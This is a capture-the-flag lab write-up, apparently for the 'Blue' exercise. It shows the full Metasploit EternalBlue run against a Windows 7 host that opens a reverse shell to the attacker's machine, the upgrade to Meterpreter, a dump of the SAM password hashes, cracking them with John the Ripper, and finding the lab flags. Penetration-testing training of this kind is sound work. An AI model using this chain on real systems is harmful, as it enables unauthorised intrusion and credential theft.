# eternalblue

Wednesday, 4 March 2020 11:14 PM

Running eternalblue exploit

```
msf5 exploit(windows/smb/ms17_010_eternalblue) > run

[*] Started reverse TCP handler on 10.8.25.151:4444
[*] 10.10.3.124:445 - Connecting to target for exploitation.
[+] 10.10.3.124:445 - Connection established for exploitation.
[+] 10.10.3.124:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.3.124:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.3.124:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.10.3.124:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.10.3.124:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1
[+] 10.10.3.124:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.3.124:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.3.124:445 - Sending all but last fragment of exploit packet
[*] 10.10.3.124:445 - Starting non-paged pool grooming
[+] 10.10.3.124:445 - Sending SMBv2 buffers
[+] 10.10.3.124:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.3.124:445 - Sending final SMBv2 buffers.
[*] 10.10.3.124:445 - Sending last fragment of exploit packet!
[*] 10.10.3.124:445 - Receiving response from exploit packet
[+] 10.10.3.124:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.3.124:445 - Sending egg to corrupted connection.
[*] 10.10.3.124:445 - Triggering free of corrupted buffer.
[*] Command shell session 2 opened (10.8.25.151:4444 -> 10.10.3.124:49210) at 2020-03-04 22:38:52 +0800
[+] 10.10.3.124:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.3.124:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.3.124:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
```

https://www.hackingarticles.in/command-shell-to-meterpreter/

Background session using control + z

List sessions using -> sessions

```
C:\Users\Jon>^Z
Background session 3? [y/N]  y
msf5 exploit(windows/smb/ms17_010_eternalblue) > sessions

Active sessions
===============

  Id  Name  Type              Information
  --  ----  ----              -----------
  3         shell x64/windows  Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation...
218.138)
```

Upgrade sessions using sessions -u 3

```
msf5 exploit(windows/smb/ms17_010_eternalblue) > sessions -u 3
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [3]

[*] Upgrading session ID: 3
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.218.131:4433
msf5 exploit(windows/smb/ms17_010_eternalblue) >
[*] Sending stage (179779 bytes) to 192.168.218.138
[*] Meterpreter session 4 opened (192.168.218.131:4433 -> 192.168.218.138:49160) at 2020-03-04 23:13:30 +0800
[*] Stopping exploit/multi/handler

msf5 exploit(windows/smb/ms17_010_eternalblue) > sessions

Active sessions
===============

  Id  Name  Type                     Information                                                     Connection
  --  ----  ----                     -----------                                                     ----------
  3         shell x64/windows        Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation...  192.168.218.131:4444 ->
2.168.218.138)
  4         meterpreter x86/windows  NT AUTHORITY\SYSTEM @ JON-PC                                    192.168.218.131:4433 ->
2.168.218.138)
```

Make session interactive

```
msf5 exploit(windows/smb/ms17_010_eternalblue) > sessions -i 4
[*] Starting interaction with 4...

meterpreter > sysinfo
Computer        : JON-PC
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 0
Meterpreter     : x86/windows
meterpreter >
```

https://www.offensive-security.com/metasploit-unleashed/meterpreter-basics/

Gathering passwords

```
meterpreter > run post/windows/gather/hashdump

[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 55bd17830e678f18a3110daf2c17d4c7...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hints...

Jon:"Nah boi, I ain't sharing nutting with you"

[*] Dumping password hashes...


Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::
localadmin:1001:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42:::
```

Cracking password

```
root@kali:/tmp/blue# john --format=NT -w:/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 3 password hashes with no different salts (NT [MD4 128/128 AVX 4x3])
Remaining 2 password hashes with no different salts
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
P@ssw0rd         (localadmin)
alqfna22         (Jon)
2g 0:00:00:00 DONE (2020-03-04 23:53) 3.333g/s 17000Kp/s 17000Kc/s 17013KC/s alqui..alpusidi
Warning: passwords printed above might not be all those cracked
Use the "--show --format=NT" options to display all of the cracked passwords reliably
Session completed
root@kali:/tmp/blue#
```

Showing password

```
root@kali:/tmp/blue# john --format=NT hash.txt --show
Administrator::500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest::501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Jon:alqfna22:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::
localadmin:P@ssw0rd:1001:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42:::

4 password hashes cracked, 0 left
root@kali:/tmp/blue#
```

Finding flag using findstr /si and cd

```
C:\>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is E611-0B66

 Directory of C:\

03/17/2019  01:27 PM                24 flag1.txt
07/13/2009  09:20 PM    <DIR>          PerfLogs
04/12/2011  02:28 AM    <DIR>          Program Files
07/13/2009  10:57 PM    <DIR>          Program Files (x86)
12/12/2018  09:13 PM    <DIR>          Users
12/12/2018  09:13 PM    <DIR>          Windows
               1 File(s)             24 bytes
               5 Dir(s)  22,229,643,264 bytes free

C:\>type flag1.txt
type flag1.txt
flag{access_the_machine}
C:\>
```

```
C:\Windows\System32>findstr /si flag *.txt
findstr /si flag *.txt
config\flag2.txt:flag{sam_database_elevated_access}
C:\Windows\System32>
```

```
C:\Users\Jon>findstr /si flag *.txt
findstr /si flag *.txt
Documents\flag3.txt:flag{admin_documents_can_be_valuable}
C:\Users\Jon>
```